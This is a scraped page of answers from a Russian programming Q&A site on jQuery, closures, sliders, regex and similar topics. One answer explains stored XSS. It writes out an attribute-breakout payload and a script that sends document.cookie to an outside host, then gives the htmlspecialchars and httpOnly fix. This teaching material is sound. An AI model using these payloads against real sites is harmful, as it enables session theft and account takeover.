• Как сделать отправку сообщения с сервера каждый период времени?

    dmitriylanets
    @dmitriylanets
    веб-разработчик
    крон
    Ответ написан
    Комментировать
  • Как убрать Prev и nexT в Slick Slider?

    Вы бы документацию почитали kenwheeler.github.io/slick/#settings
    $('.slider').slick({
      arrows: false
    });
    Ответ написан
    Комментировать
  • Как получить данных на select из база данных через javascript?

    ThunderCat
    @ThunderCat Куратор тега PHP
    {PHP, MySql, HTML, JS, CSS} developer
    Если данных не много и вы заранее знаете какие данные вам нужны для селекта просто получите их в json и используйте когда нужно. Если же данных много и они заранее не известны - запрашивайте их с сервера Аяксом. Можно даже в виде готового хтмл для селекта.
    Ответ написан
    Комментировать
  • Что такое замыкание?

    @HowardRoark
    Full stack developer
    Мне кажется, самый простой пример замыкания - это счетчик.
    var counter = (function () {
    	var current = 0;
    	return function () {
    		current++;
    		return current;
    	}
    })();
    
    console.log(counter()); // 1
    console.log(counter()); // 2

    В данном случае мы не имеем доступ к переменной current и функция гарантированно возвращает каждый раз уникальное значение.
    Если бы это была простая функция, то переменная, содержащая состояние (current), должна была бы находиться вне функции.
    var current = 0;
    var counter = function () {
    	current++;
    	return current;
    }
    
    console.log(counter()); // 1
    current = 5;
    console.log(counter()); // 6

    А это уже нарушает принцип "черного ящика", т.к. переменной можно присвоить другое значение в любом месте.
    Ответ написан
    4 комментария
  • Почему не работает slick slider в табах?

    Chefranov
    @Chefranov
    Новичок
    Вам надо переинициализировать слайдер после переключения таба
    Ответ написан
    3 комментария
  • Где искать адекватных верстальщиков?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    Ух. Ну как-бы с такой постановкой задачи и не стоит рассчитывать на качественных фрилансеров.

    1. Ваша формулировка "Есть два шаблона с TemplateMonster на какой сам сядешь, на какой клиента посадишь нужно добавить в первый функционал из второго", - по сути, если делать нормально это "нарисуйте и сверстайте новый дизайн по мотивам двух предыдущих".
    Как бы это работа для 2х разных людей: дизайнера и верстальщика.
    По факту они не сочетаются в одном человеке практически никогда.

    2. Без обид, но в задаче на fl очень сумбурное изложение - много всякой мелкой конкретики, каких-то специфических требований к валидации и комментированию - но при этом нет в тексте собственно ТЗ на функционал интернет магазина.
    "Сделайте как в том шаблоне" - это не ТЗ. "Сделайте как в том шаблоне" - это отправная вводная для не маленькой работы продуктового аналитика, но таких я на фрилансе не встречал ни за какие деньги.

    Грамотному исполнителю такая постановка вопроса говорит о том, что у Вас есть какое-то своё видение и либо Вас нужно будет адски брифовать, либо от Вас будет миллион правок.

    3. Бюджет.
    У меня есть адекватные верстальщики которые быстро и качественно верстают. Стоимость верстки с нуля одной страницы у них начинается с цифры большей, чем Ваш проект целиком (ни разу не хочу Вас обидеть).
    Да, у меня завышенные требования и к качеству, и к скорости, - но в любом случае исследование чужого кода с внесением правок задача заведомо более сложная чем сверстать с нуля.

    ИТОГО
    Если хотите хорошего вменяемого результата, разбейте задачу на две:
    1. Нарисовать дизайн по мотивам первого шаблона.
    Подробно опишите конкретный список страниц, конкретный функционал, конкретные изменения.
    2. Сверстать новый дизайн.
    Ответ написан
    5 комментариев
  • Почему не работает children jquery?

    BRAGA96
    @BRAGA96
    let title = $(this).find('.form-title').text();
    Ответ написан
    Комментировать
  • Где ошибка при использовании jquery insertAfter?

    У вас ошибка в 42 строчке, код прекращает работу.
    Ответ написан
    1 комментарий
  • Регурял - как экранировать кавычки?

    Decadal
    @Decadal
    ="(.*)"
    здесь ошибка. Идея такова:
    https://regexr.com/3u369

    замените точку на выражение "алфавитные символы".
    А еще лучше - на отрицание двойной кавычки.
    не знаю, каким regexp пользуется notepad++, там вроде свои причуды.
    Ответ написан
    3 комментария
  • Как скачать таблицу неавторизованным в гугле пользователям?

    alexgearbox
    @alexgearbox
    Дать доступ к таблице «всем, у кого есть ссылка».
    Ответ написан
    1 комментарий
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Браузер не видит css файл,в чем проблема?

    iamd503
    @iamd503 Куратор тега CSS
    Верстальщик
    у вас "с" на русском написана
    Ответ написан
    2 комментария
  • Почему нет профсоюза IT-работников?

    DmitriyEntelis
    @DmitriyEntelis
    Думаю за деньги
    Imho все адекватные люди аполитичны и предпочитают тратить время на зарабатывание денег.
    В текущих реалиях проще эмигрировать, чем тратить время на это вот все.

    А про забастовку, ну право смешно. Вы реально считаете что правительство рассматривать it отрасль как социально значимую? Это скорее что-то непонятное, мешающее свету из телевизора проникать глубь народных масс.

    Тем более что государственных то it компаний практически нет. Будете бастовать внутри своей коммерческой структуры - никому кроме этой структуры вы не навредите.

    Поднимите столько хайпа что государство обратит внимание на регулирование работников - вот тут то вы и взвоете по настоящему.
    Ответ написан
    10 комментариев
  • Как в jquery вывести именно тот data атрибут по которому щелкнули?

    0xD34F
    @0xD34F Куратор тега JavaScript
    $('.va-city-list').on('click', '.list-city', function() {
      console.log($(this).data('city'));
    });

    или

    $('.list-city').click(e => console.log($(e.target).attr('data-city')));

    или

    document.querySelector('.va-city-list').addEventListener('click', e => {
      const { city } = e.target.dataset;
      if (city) {
        console.log(city);
      }
    });

    или

    const onClick = e => console.log(e.target.getAttribute('data-city'));
    document.querySelectorAll('.list-city').forEach(n => n.addEventListener('click', onClick));

    или

    for (const n of document.getElementsByClassName('list-city')) {
      n.onclick = onClick;
    }
    
    function onClick() {
      console.log(this.attributes['data-city'].value);
    }
    Ответ написан
    Комментировать
  • А можно ли, создать железный Интернет браузер, который будет полностью изолирован от OS?

    Stalker_RED
    @Stalker_RED
    whonix, tails и torbrowser смотрят на этот список с недоумением.
    А еще мимо проходил планшет, и сказал что он вообще настолько автономен, что у него даже свой экран и батарейка.

    Вы бы описали требования поконкретнее.
    Ответ написан
    Комментировать
  • Какова суть генерации своих событий в JavaScript?

    sergiks
    @sergiks Куратор тега JavaScript
    ♬♬
    Попробую на пальцах объяснить.

    Событие – это конверт, на котором написано его название. Внутрь конверта можете вложить что-нибудь, а можете оставить конверт пустым.

    Элемент – это столик. Кто угодно может подойти и положить на столик свой конверт.

    Слушатель – это мужик, который топчется около столика и смотрит, нет ли чего с интересующим его названием. Может несколько человек поджидать конвертики с определённым названием – прочтут все, если только в конверте не написано «по прочтении съесть» – тогда кто-то съест и дальше не передаст.

    Как создать/отправить конверт. В любом месте кода создайте конверт и дайте ему название: var myEvent = new Event('teaTime'); Остается положить конверт на нужный столик:
    document.getElementById('stolik').dispatchEvent(myEvent);


    Чтобы в событие вложить какие-то данные, нужно использовать другой конструктор и передать нагрузку в поле detail:
    var event = new CustomEvent('saySomething', { detail: "Hello there!" });


    Для чего нужно создавать свои события? Чтобы развязать куски кода. Например, в разных местах документа можно нажать на кнопку повторяющегося виджета. Виджет создаст на document событие "widgetClicked". А ещё несколько одинаковых компонентов в странице, слушающих document на предмет события "widgetClicked", получат пинок и что-нибудь вытворят.
    Ответ написан
    2 комментария
  • Как правильно вывести массив?

    кто придумал совместить в ключах массива CamelCase, under_score и обычное слитное написание о_О
    Ответ написан
    1 комментарий